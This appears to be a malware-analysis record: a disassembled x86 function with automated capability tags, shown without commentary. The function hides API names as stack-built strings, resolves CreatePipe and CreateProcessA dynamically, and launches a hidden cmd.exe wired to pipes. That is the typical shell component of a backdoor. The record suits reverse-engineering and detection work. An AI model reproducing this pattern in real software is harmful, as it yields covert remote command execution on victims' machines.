Function at 0x10016000
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1000989b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
mov eax, dword [esp + 0x1a8]
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push eax
mov dword [esp + 0x60], ebp
call fcn.10013000
mov cl, 0x6c
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov dl, 0x72
mov byte [esp + 0x26], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x16], dl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x34], dl
lea ecx, [esp + 0x24]
lea edx, [esp + 0x14]
xor ebx, ebx
mov al, 0x65
push ecx
push edx
mov dword [esp + 0x1b8], ebx
mov dword [ebp], 0x1001c244
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1d], al
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], al
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], bl
mov byte [esp + 0x2c], 0x47
mov byte [esp + 0x2d], al
mov byte [esp + 0x2f], 0x53
mov byte [esp + 0x30], 0x79
mov byte [esp + 0x31], 0x73
mov byte [esp + 0x33], al
mov byte [esp + 0x34], 0x6d
mov byte [esp + 0x35], 0x44
mov byte [esp + 0x36], 0x69
mov byte [esp + 0x38], al
mov byte [esp + 0x39], 0x63
mov byte [esp + 0x3b], 0x6f
mov byte [esp + 0x3d], 0x79
mov byte [esp + 0x3e], 0x41
mov byte [esp + 0x3f], bl
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Kernel32.dll
mov dword [esp + 0x5c], eax
call esi
mov dword [0x10021c78], eax
xor eax, eax
mov dword [esp + 0x4c], eax
mov ecx, 0x10
lea edi, [esp + 0x64]
mov dword [esp + 0x60], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
lea edi, [esp + 0xa5]
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x50], eax
mov dword [esp + 0x40], ecx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x44], ecx
mov byte [esp + 0xa4], cl
mov ecx, 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp + 0x10]
lea esi, [ebp + 0x18]
mov dword [edi], ebx
mov dword [ebp + 0x14], ebx
mov dword [ebp + 0x1c], 0
mov dword [esi], ebx
mov edx, dword [0x10021c78]
lea ebx, [ebp + 0x1c]
push str.CreatePipe
push edx
mov dword [esp + 0x50], 0xc
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], 1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x48]
push 0
push ecx
push ebx
push edi
mov dword [esp + 0x64], eax
call eax
test eax, eax
jne 0x100161c0
mov edi, dword [edi]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x100161ae
push edi
call esi
mov ebx, dword [ebx]
test ebx, ebx
je 0x10016376
push ebx
call esi
jmp 0x10016376
lea edx, [esp + 0x48]
push 0
lea edi, [ebp + 0x14]
push edx
push edi
push esi
call dword [esp + 0x64]
test eax, eax
jne 0x100161f5
mov edi, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x100161e3
push edi
call ebx
mov esi, dword [esi]
test esi, esi
je 0x10016376
push esi
call ebx
jmp 0x10016376
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x60]
push 0x30
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call edi
add esp, 4
lea ecx, [esp + 0x60]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x30
call edi
mov edx, dword [esi]
mov eax, dword [ebx]
push 0x30
mov dword [esp + 0x68], 0x44
mov word [esp + 0x98], 0
mov dword [esp + 0x94], 0x101
mov dword [esp + 0xa0], edx
mov dword [esp + 0xa8], eax
mov dword [esp + 0xa4], eax
call edi
add esp, 8
lea eax, [esp + 0xa4]
push 0x104
push eax
call dword [esp + 0x60]
push 0x30
call edi
mov edi, str.cmd.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xa8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
mov eax, dword [0x10021c78]
add esp, 8
push str.CreateProcessA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x38]
lea edx, [esp + 0x60]
push ecx
push edx
push 0
push 0
push 0x20
push 1
push 0
push 0
lea ecx, [esp + 0xc4]
push 0
push ecx
call eax
test eax, eax
jne 0x1001631b
push 0x30
call esi
mov edx, dword [ebp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push edx
call esi
mov eax, dword [ebp + 0x14]
push eax
call esi
mov ecx, dword [ebp + 0x18]
push ecx
call esi
mov edx, dword [ebx]
push edx
call esi
jmp 0x10016376
mov ecx, dword [esp + 0x3c]
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x13]
mov dword [ebp + 0x24], ecx
push 1
push edx
mov ecx, ebp
mov dword [ebp + 0x20], eax
mov byte [esp + 0x1b], 0x80
call fcn.10013120
mov ecx, ebp
call fcn.10013190
push 0
push 0
push 0
push ebp
push 0x10016600
push 0
push 0
call fcn.100014d0
push 0
push 0
push 0
push ebp
push 0x100166d0
push 0
push 0
mov dword [ebp + 0x28], eax
call fcn.100014d0
add esp, 0x38
mov dword [ebp + 0x2c], eax
mov ecx, dword [esp + 0x1a8]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1a4
ret 4